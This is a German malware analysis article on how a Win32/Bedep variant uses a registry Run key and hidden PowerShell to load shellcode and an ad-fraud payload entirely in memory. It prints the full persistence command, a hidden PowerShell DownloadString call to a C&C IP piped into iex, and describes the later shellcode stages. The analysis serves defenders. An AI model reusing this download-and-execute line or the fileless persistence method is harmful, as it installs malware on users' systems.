Windows PowerShell als Einfallstor für Schadsoftware

Windows PowerShell erfreut sich nicht nur seit Jahren großer Beliebtheit bei Systemadministratoren, auch Schadsoftware-Autoren greifen immer häufiger auf die vielen Funktionen der Shell zu. Der Einsatz von PowerShell für schädliche Zwecke ist keinesfalls neu, nimmt jedoch seit Jahren immer weiter zu. Ein Grund dafür mag in dem großen Funktionsumfang der Shell liegen, der ähnlich einem normalen Windows Programm ist. Außerdem ist PowerShell praktisch ein Teil des Betriebssytems und kann, im Gegensatz zu Powershell-Skripten, nicht von Antiviren-Programmen als schädlich eingestuft werden. Ein anderer Grund ist sicherlich auch die frei erhältliche Sammlung von Skripten und Cmdlets zu Penetrationtesting-Zwecken namens PowerSploit. Deren Skripte werden häufig eins-zu-eins von Schadsoftware-Autoren übernommen und für deren Ziele zweckentfremdet.

Dieser Artikel beschäftigt sich mit den Downloadfunktionen von PowerShell und wie diese von Malware genutzt werden kann, um weiteren Schadcode nachzuladen. Dabei wird ein Schädling im Detail betrachtet, der mithilfe eines PowerShell-Skripts und zwei verschiedenen x86-Shellcodes eine Payload direkt vom Arbeitsspeicher aus nachlädt. Die Schadsoftware nutzt dabei eine bekannte Methode, um mittels einer PowerShell-Funktion ein Skript im Speicher auszuführen, kombiniert sie aber mit einer außergewöhnlichen Startmethode. Diese Technik erschwert die Erkennung, da der Schadcode zu keiner Zeit auf die Festplatte geschrieben wird und ausschließlich im Arbeitsspeicher existiert.

Die verschiedenen Wege, mit PowerShell Daten herunterzuladen

PowerShell wurde erstmals im Jahr 2007 von Microsoft als Nachfolger des Windows Kommandozeilenprogramms cmd.exe veröffentlicht und seit dem ständig weiterentwickelt. Sie besitzt eine interaktive Eingabeaufforderung, in der man ähnlich zur alten Kommandozeile einzelne Befehle ausführen kann. Außerdem wurde zusammen mit einer grafischen Entwicklungsumgebung eine eigene Skriptsprache entwickelt, die sogenannte PowerShell Scripting Language. Windows PowerShell ist seit Windows 7 vorinstalliert, kann aber auch auf vorhergehenden Versionen nachinstalliert werden. Mithilfe der Windows PowerShell lassen sich auf verschiedene Arten Daten herunterladen:

1. DownloadFile

Die PowerShell-Klasse WebClient enthält eine Methode namens DownloadFile, mit der man von einer Internetadresse aus eine Datei direkt auf den PC herunterladen kann.

2. DownloadString

Eine andere Methode innerhalb der Klasse WebClient ist DownloadString, mit der sich ein PowerShell-Skript von einer Internetadresse herunterladen und ausführen lässt. Eine Implementierung dieser Methode findet man im PowerSploit Cmdlet Invoke-Shellcode.

3. Invoke-WebRequest

Eine weitere Möglichkeit, eine Datei aus dem Internet herunterzuladen, bietet das Standard-Cmdlet Invoke-WebRequest.

4. Start-BitsTransfer

Ferner lässt sich mithilfe des Intelligenten Hintergrundübertragungsdienstes von Windows (BITS) und dem Standard-Cmdlet Start-BitsTransfer ein Auftrag erstellen, um eine Datei herunterzuladen. Bei dieser Technik muss zuvor das Modul BitsTransfer mit dem Befehl Import-Module importiert werden.

All diese Methoden werden auch von Schädlingen genutzt, um zusätzlichen Schadcode auf den Computer eines Opfers zu laden. Die Methode DownloadString bietet dem Angreifer dabei den Vorteil, dass ein PowerShell-Skript direkt nach dem Herunterladen im Speicher ausgeführt werden kann und keine lokale Kopie der Schadsoftware auf der Festplatte erzeugt wird. Eine Varainte dieser Methode wird im folgenden Kapitel näher beschrieben.

Eine Malware, die ohne Dateien auskommt

Einen interessanten Ansatz, um sich mithilfe von PowerShell dauerhaft auf einem System einzunisten, verfolgt eine Variante der bekannten Schadsoftware Win32/Bedep. Anhand des internen Projektnamens dieser speziellen Variante des Bots kann man erkennen, dass es sich um eine Testversion handelt (siehe Abbildung 1).

Abbildung 1: Debug-Informationsdatei (PDB) zeigt den internen Projektnamen der Schadsoftware (orange markiert)

Nachdem sich ein Opfer mit der Schadsoftware infiziert hat, beginnt diese mit ihrer Arbeit. Dabei wird auch ein Eintrag in der Windows Registry erstellt, um bei einem Neustart des Systems weiterhin funktionsfähig zu bleiben. Der Registry-Schlüssel hat es in sich:

Abbildung 2: Registry-Eintrag, um bei einem Neustart dauerhaft präsent zu bleiben (rot markiert)

Der komplette Wert des Registry-Schlüssels namens WinSystem lautet wie folgt:

cmd.exe /c start powershell –windowstyle hidden –noninteractive –command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString('http://37.228.88.167:80/landing?action=psf&pubid=32765&subid=49152&systemhash=920568583'); iex $($b)"

Durch diesen Registry-Eintrag startet der Windows Explorer bei jedem Systemstart eine Instanz des Kommandozeilenprogramms cmd.exe, die wiederum eine unsichtbare und nicht interaktive Instanz von PowerShell startet. Hierbei werden mehrere Befehle übergeben, um den C&C-Server zu kontaktieren und anschließend die zurückgelieferten Daten auszuführen. Hier lässt sich schon erahnen, dass es sich bei den Daten um ein PowerShell-Skript handeln muss. Und genau so stellte es sich heraus (C&C-Server mittlerweile vom Netz genommen):

Abbildung 3: Zurückgeliefertes PowerShell-Skript mit eingebettetem, Base64 kodiertem x86-Shellcode (rot markiert)

Dieses Skript wird nun von dem unsichtbaren PowerShell-Prozess ausgeführt und hat zum Ziel, einen x86-Shellcode auszuführen (siehe Abbildung 3). Der Shellcode selbst ähnelt in seinem Aufbau stark den Shellcodes des quelloffenen Penetrationtesting-Werkzeugs Metasploit. Er besorgt sich zunächst die Adressen der Windows API Funktionen, die er im Anschluss benötigt, indem er den sogenannten Process Environment Block (PEB) durchläuft. Der PEB wird intern vom Betriebssystem verwendet und beinhaltet eine Reihe an Daten, die für den fehlerfreien Betrieb eines Prozesses notwendig sind, u.a. auch eine doppelt verkettete Liste mit den Adressen der API Funktionen der verwendeten Laufzeitbibliotheken (DLLs).

Abbildung 4: Erster x86-Shellcode, der einen zweiten Shellcode herunterlädt und ausführt

Nachdem sich der Shellcode die Adressen besorgt hat, reserviert er ebenfalls einen Speicherbereich und kontaktiert den C&C-Server (siehe Abbildung 4, rote Markierung). Als Antwort sendet der C&C-Server einen zweiten x86-Shellcode in den zuvor reservierten Speicherbereich zurück. Dieser zweite, zweistufige Shellcode beinhaltet auch die eigentliche Payload in Form einer mit PECompact komprimierten DLL-Datei, im Falle dieser Bedep Variante ein Online-Werbebetrugs-Modul. Zunächst entschlüsselt die erste Stufe die nachfolgende verschlüsselte zweite Stufe. Hierbei handelt es sich um eine einfache XOR-Verschlüsselung mit dem Schlüssel 0x21 (siehe Abbildung 5).

Abbildung 5: Erste Stufe des zweiten Shellcodes, welche die zweite Stufe entschlüsselt

Die zweite Stufe besteht aus einem Loader und der eigentlichen Payload. Der Loader kümmert sich zunächst darum, dass die aktuellen Windows API Funktionsadressen in den sogenannten Import Address Table (IAT) der Payload geschrieben werden. Diese Aufgabe übernimmt normalerweise der Windows Loader vor dem Ausführen einer Datei, damit das eigentliche Programm die API Funktionen während der Laufzeit aufrufen kann. Da die Payload aber direkt vom Speicher aus von einem Shellcode gestartet wird, muss sich der Shellcode selbst um diese Aufgabe kümmern. Nachdem die aktuellen Funktionsadressen in den IAT der Payload geschrieben wurden, ruft der Loader die Startadresse der Payload auf. Anschließend führt das Online-Werbebetrugs-Modul im Speicher seine schädlichen Routinen aus.

Fazit

Die beschriebene Variante des Bots Win32/Bedep nutzt eine interessante Technik, um mittels PowerShell und einem einfachen Registry-Eintrag die dauerhafte Präsenz auf dem Computer eines Opfers zu bewerkstelligen. Die einzige Spur der Schadsoftware auf dem System ist dabei der Registry-Schlüssel, alle weiteren Teile werden im Arbeitsspeicher ausgeführt. Dennoch lief die Schadsoftware auf unseren Testsystemen nicht absolut zuverlässig und brachte gelegentlich das ganze System zum Absturz. Richtig implementiert könnte diese Methode jedoch eine ernsthafte Bedrohung sein, auch wenn sie nicht wirklich unauffällig ist. Nachdem sich das Opfer an seinem Computer angemeldet hat, erscheint für einen kurzen Augenblick das Kommandozeilenfenster von cmd.exe, was sicher von einem erfahrenen Benutzer als verdächtig angesehen wird. Außerdem ist es sicherlich nicht üblich, dass PowerShell eine Internetverbindung nach außen aufzubauen versucht, wie es hier der Fall ist.